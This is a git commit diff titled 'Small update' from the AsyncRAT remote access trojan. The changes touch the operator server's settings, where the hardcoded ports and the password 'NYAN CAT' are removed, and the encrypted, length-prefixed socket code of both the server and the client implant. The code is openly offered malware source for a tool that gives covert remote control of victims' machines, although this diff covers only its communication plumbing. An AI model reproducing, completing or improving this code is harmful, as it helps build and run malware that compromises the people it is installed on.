Small update
This commit is contained in:
parent
747d31611e
commit
098918cd3f
Binary file not shown.
@ -8,11 +8,12 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
public static List<Clients> Online = new List<Clients>();
|
public static List<Clients> Online = new List<Clients>();
|
||||||
public static List<string> Blocked = new List<string>();
|
public static List<string> Blocked = new List<string>();
|
||||||
public static string Port = "6606,7707,8808";
|
public static string Port { get; set; }
|
||||||
|
public static long Sent { get; set; }
|
||||||
|
public static long Received { get; set; }
|
||||||
|
public static string Password { get; set; }
|
||||||
|
public static Aes256 aes256{ get; set; }
|
||||||
|
|
||||||
public static readonly string Version = "AsyncRAT 0.4";
|
public static readonly string Version = "AsyncRAT 0.4";
|
||||||
public static long Sent = 0;
|
|
||||||
public static long Received = 0;
|
|
||||||
public static string Password = "NYAN CAT";
|
|
||||||
public static Aes256 aes256;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,10 +1,8 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Text;
|
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using AsyncRAT_Sharp.Handle_Packet;
|
using AsyncRAT_Sharp.Handle_Packet;
|
||||||
using System.Threading.Tasks;
|
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
@ -15,15 +13,16 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
class Clients
|
class Clients
|
||||||
{
|
{
|
||||||
public Socket ClientSocket { get; set; }
|
public Socket ClientSocket { get; set; }
|
||||||
private byte[] ClientBuffer { get; set; }
|
|
||||||
private long ClientBuffersize { get; set; }
|
|
||||||
private bool ClientBufferRecevied { get; set; }
|
|
||||||
private MemoryStream ClientMS { get; set; }
|
|
||||||
public ListViewItem LV { get; set; }
|
public ListViewItem LV { get; set; }
|
||||||
private object SendSync { get; set; }
|
|
||||||
private object EndSendSync { get; set; }
|
|
||||||
public string ID { get; set; }
|
public string ID { get; set; }
|
||||||
public long BytesRecevied { get; set; }
|
|
||||||
|
private byte[] ClientBuffer;
|
||||||
|
private long ClientBuffersize;
|
||||||
|
private bool ClientBufferRecevied;
|
||||||
|
private MemoryStream ClientMS;
|
||||||
|
private object SendSync;
|
||||||
|
private object EndSendSync;
|
||||||
|
public long BytesRecevied;
|
||||||
|
|
||||||
public Clients(Socket socket)
|
public Clients(Socket socket)
|
||||||
{
|
{
|
||||||
@ -35,7 +34,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
ClientSocket = socket;
|
ClientSocket = socket;
|
||||||
ClientBuffer = new byte[4];
|
ClientBuffer = new byte[4];
|
||||||
ClientBuffersize = 0;
|
|
||||||
ClientBufferRecevied = false;
|
ClientBufferRecevied = false;
|
||||||
ClientMS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
LV = null;
|
LV = null;
|
||||||
@ -62,8 +60,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
if (ClientBufferRecevied == false)
|
if (ClientBufferRecevied == false)
|
||||||
{
|
{
|
||||||
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
|
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
|
||||||
if (ClientMS.Length == 4)
|
|
||||||
{
|
|
||||||
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
||||||
ClientMS.Dispose();
|
ClientMS.Dispose();
|
||||||
ClientMS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
@ -73,12 +69,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||||
ClientBufferRecevied = true;
|
ClientBufferRecevied = true;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
Disconnected();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -99,7 +89,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
ClientBuffer = new byte[4];
|
ClientBuffer = new byte[4];
|
||||||
ClientBuffersize = 0;
|
|
||||||
ClientMS.Dispose();
|
ClientMS.Dispose();
|
||||||
ClientMS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
ClientBufferRecevied = false;
|
ClientBufferRecevied = false;
|
||||||
|
@ -10,7 +10,6 @@ using Client.Helper;
|
|||||||
|
|
||||||
namespace Client.Sockets
|
namespace Client.Sockets
|
||||||
{
|
{
|
||||||
|
|
||||||
class ClientSocket
|
class ClientSocket
|
||||||
{
|
{
|
||||||
|
|
||||||
@ -40,7 +39,6 @@ namespace Client.Sockets
|
|||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
Connected = true;
|
Connected = true;
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
Buffersize = 0;
|
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
SendSync = new object();
|
SendSync = new object();
|
||||||
@ -101,22 +99,14 @@ namespace Client.Sockets
|
|||||||
if (BufferRecevied == false)
|
if (BufferRecevied == false)
|
||||||
{
|
{
|
||||||
MS.Write(Buffer, 0, Recevied);
|
MS.Write(Buffer, 0, Recevied);
|
||||||
if (MS.Length == 4)
|
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||||
|
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
|
if (Buffersize > 0)
|
||||||
{
|
{
|
||||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
Buffer = new byte[Buffersize];
|
||||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
BufferRecevied = true;
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
if (Buffersize > 0)
|
|
||||||
{
|
|
||||||
Buffer = new byte[Buffersize];
|
|
||||||
BufferRecevied = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
Connected = false;
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -126,7 +116,6 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
|
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
Buffersize = 0;
|
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
@ -155,6 +144,12 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
if (!Client.Connected)
|
||||||
|
{
|
||||||
|
Connected = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||||
|
|
||||||
@ -176,6 +171,12 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
if (!Client.Connected)
|
||||||
|
{
|
||||||
|
Connected = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
int sent = 0;
|
int sent = 0;
|
||||||
sent = Client.EndSend(ar);
|
sent = Client.EndSend(ar);
|
||||||
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
||||||
|
Loading…
x
Reference in New Issue
Block a user